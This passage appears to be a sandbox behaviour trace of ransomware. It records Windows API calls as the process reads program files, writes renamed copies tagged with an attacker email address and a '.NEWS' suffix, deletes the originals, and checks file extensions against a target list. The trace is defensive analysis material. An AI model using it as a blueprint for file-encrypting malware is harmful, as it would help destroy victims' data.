lpNumberOfBytesWritten=0x2d5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0088.601] SetEndOfFile (hFile=0x358) returned 1 [0088.601] CloseHandle (hObject=0x358) returned 1 [0088.602] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.602] SetEndOfFile (hFile=0x348) returned 1 [0088.603] CloseHandle (hObject=0x348) returned 1 [0088.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.603] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0088.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.603] lstrlenW (lpString=".doc") returned 4 [0088.604] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.604] lstrlenW (lpString=".docx") returned 5 [0088.604] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0088.604] lstrlenW (lpString=".pdf") returned 4 [0088.604] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.604] lstrlenW (lpString=".xls") returned 4 [0088.604] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.604] lstrlenW (lpString=".xlsx") returned 5 [0088.604] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0088.604] lstrlenW (lpString=".ppt") returned 4 [0088.604] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.604] lstrlenW (lpString=".zip") returned 4 [0088.604] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.604] lstrlenW (lpString=".rar") returned 4 [0088.604] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.604] lstrlenW (lpString=".bz2") returned 4 [0088.604] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.604] lstrlenW (lpString=".7z") returned 3 [0088.604] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.604] lstrlenW (lpString=".dbf") returned 4 [0088.604] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.604] lstrlenW (lpString=".1cd") returned 4 [0088.604] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.604] lstrlenW (lpString=".jpg") returned 4 [0088.604] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.604] lstrlenW (lpString=".doc") returned 4 [0088.604] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.604] lstrlenW (lpString=".docx") returned 5 [0088.604] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0088.604] lstrlenW (lpString=".pdf") returned 4 [0088.605] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.605] lstrlenW (lpString=".xls") returned 4 [0088.605] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.605] lstrlenW (lpString=".xlsx") returned 5 [0088.605] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0088.605] lstrlenW (lpString=".ppt") returned 4 [0088.605] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.605] lstrlenW (lpString=".zip") returned 4 [0088.605] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.605] lstrlenW (lpString=".rar") returned 4 [0088.605] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.605] lstrlenW (lpString=".bz2") returned 4 [0088.605] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.605] lstrlenW (lpString=".7z") returned 3 [0088.605] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.605] lstrlenW (lpString=".dbf") returned 4 [0088.605] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.605] lstrlenW (lpString=".1cd") returned 4 [0088.605] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0088.605] lstrlenW (lpString=".jpg") returned 4 [0088.605] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.605] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.605] lstrlenW (lpString="VSTOLoader.dll") returned 14 [0088.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.606] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=367216) returned 1 [0088.606] CloseHandle (hObject=0x348) returned 1 [0088.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20 [0088.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.606] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.606] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0088.607] GetLastError () returned 0x0 [0088.607] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x59a70, lpOverlapped=0x0) returned 1 [0088.614] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x59a80, lpOverlapped=0x0) returned 1 [0088.621] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.621] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf0, lpOverlapped=0x0) returned 1 [0088.621] SetEndOfFile (hFile=0x358) returned 1 [0088.621] CloseHandle (hObject=0x358) returned 1 [0088.621] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.621] SetEndOfFile (hFile=0x348) returned 1 [0088.625] CloseHandle (hObject=0x348) returned 1 [0088.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.625] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1 [0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.625] lstrlenW (lpString=".doc") returned 4 [0088.625] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.625] lstrlenW (lpString=".docx") returned 5 [0088.625] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0088.625] lstrlenW (lpString=".pdf") returned 4 [0088.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".xls") returned 4 [0088.626] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".xlsx") returned 5 [0088.626] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0088.626] lstrlenW (lpString=".ppt") returned 4 [0088.626] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.626] lstrlenW (lpString=".zip") returned 4 [0088.626] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".rar") returned 4 [0088.626] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".bz2") returned 4 [0088.626] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.626] lstrlenW (lpString=".7z") returned 3 [0088.626] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.626] lstrlenW (lpString=".dbf") returned 4 [0088.626] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.626] lstrlenW (lpString=".1cd") returned 4 [0088.626] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.626] lstrlenW (lpString=".jpg") returned 4 [0088.626] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.626] lstrlenW (lpString=".doc") returned 4 [0088.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".docx") returned 5 [0088.626] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0088.626] lstrlenW (lpString=".pdf") returned 4 [0088.626] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".xls") returned 4 [0088.626] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.626] lstrlenW (lpString=".xlsx") returned 5 [0088.626] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0088.626] lstrlenW (lpString=".ppt") returned 4 [0088.627] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.627] lstrlenW (lpString=".zip") returned 4 [0088.627] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.627] lstrlenW (lpString=".rar") returned 4 [0088.627] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.627] lstrlenW (lpString=".bz2") returned 4 [0088.627] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.627] lstrlenW (lpString=".7z") returned 3 [0088.627] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.627] lstrlenW (lpString=".dbf") returned 4 [0088.627] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.627] lstrlenW (lpString=".1cd") returned 4 [0088.627] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71 [0088.627] lstrlenW (lpString=".jpg") returned 4 [0088.627] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.627] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.627] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0088.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.628] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=48872) returned 1 [0088.628] CloseHandle (hObject=0x348) returned 1 [0088.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0088.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.628] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0088.628] GetLastError () returned 0x0 [0088.628] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xbee8, lpOverlapped=0x0) returned 1 [0088.987] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xbef0, lpOverlapped=0x0) returned 1 [0088.989] ReadFile (in: hFile=0x348, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.989] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x102, lpOverlapped=0x0) returned 1 [0088.989] SetEndOfFile (hFile=0x358) returned 1 [0088.990] CloseHandle (hObject=0x358) returned 1 [0088.990] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.990] SetEndOfFile (hFile=0x348) returned 1 [0088.991] CloseHandle (hObject=0x348) returned 1 [0088.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.991] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0088.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.991] lstrlenW (lpString=".doc") returned 4 [0088.991] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.991] lstrlenW (lpString=".docx") returned 5 [0088.991] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0088.991] lstrlenW (lpString=".pdf") returned 4 [0088.991] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".xls") returned 4 [0088.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".xlsx") returned 5 [0088.992] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0088.992] lstrlenW (lpString=".ppt") returned 4 [0088.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.992] lstrlenW (lpString=".zip") returned 4 [0088.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".rar") returned 4 [0088.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".bz2") returned 4 [0088.992] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.992] lstrlenW (lpString=".7z") returned 3 [0088.992] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.992] lstrlenW (lpString=".dbf") returned 4 [0088.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.992] lstrlenW (lpString=".1cd") returned 4 [0088.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.992] lstrlenW (lpString=".jpg") returned 4 [0088.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.992] lstrlenW (lpString=".doc") returned 4 [0088.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".docx") returned 5 [0088.992] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0088.992] lstrlenW (lpString=".pdf") returned 4 [0088.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".xls") returned 4 [0088.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.992] lstrlenW (lpString=".xlsx") returned 5 [0088.992] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0088.992] lstrlenW (lpString=".ppt") returned 4 [0088.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.993] lstrlenW (lpString=".zip") returned 4 [0088.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.993] lstrlenW (lpString=".rar") returned 4 [0088.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.993] lstrlenW (lpString=".bz2") returned 4 [0088.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.993] lstrlenW (lpString=".7z") returned 3 [0088.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.993] lstrlenW (lpString=".dbf") returned 4 [0088.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.993] lstrlenW (lpString=".1cd") returned 4 [0088.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0088.993] lstrlenW (lpString=".jpg") returned 4 [0088.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.993] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0088.993] lstrlenW (lpString="mxslipstream.exe") returned 16 [0088.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.994] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=78336) returned 1 [0088.994] CloseHandle (hObject=0x348) returned 1 [0088.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe")) returned 0x20 [0088.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\mxslipstream.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\mxslipstream.exe" (normalized: "c:\\program files\\common files\\mxslipstream.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.994] lstrlenW (lpString=".doc") returned 4 [0088.994] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.994] lstrlenW (lpString=".docx") returned 5 [0088.994] lstrcmpiW (lpString1=".docx", lpString2="m.exe") returned -1 [0088.994] lstrlenW (lpString=".pdf") returned 4 [0088.994] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.994] lstrlenW (lpString=".xls") returned 4 [0088.994] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.994] lstrlenW (lpString=".xlsx") returned 5 [0088.994] lstrcmpiW (lpString1=".xlsx", lpString2="m.exe") returned -1 [0088.994] lstrlenW (lpString=".ppt") returned 4 [0088.994] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.994] lstrlenW (lpString=".zip") returned 4 [0088.994] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.994] lstrlenW (lpString=".rar") returned 4 [0088.994] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.994] lstrlenW (lpString=".bz2") returned 4 [0088.995] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.995] lstrlenW (lpString=".7z") returned 3 [0088.995] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.995] lstrlenW (lpString=".dbf") returned 4 [0088.995] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.995] lstrlenW (lpString=".1cd") returned 4 [0088.995] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.995] lstrlenW (lpString=".jpg") returned 4 [0088.995] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\mxslipstream.exe") returned 46 [0088.995] lstrlenW (lpString=".doc") returned 4 [0088.995] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.995] lstrlenW (lpString=".docx") returned 5 [0088.995] lstrcmpiW (lpString1=".docx", lpString2="m.exe") returned -1 [0088.995] lstrlenW (lpString=".pdf") returned 4 [0088.995] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 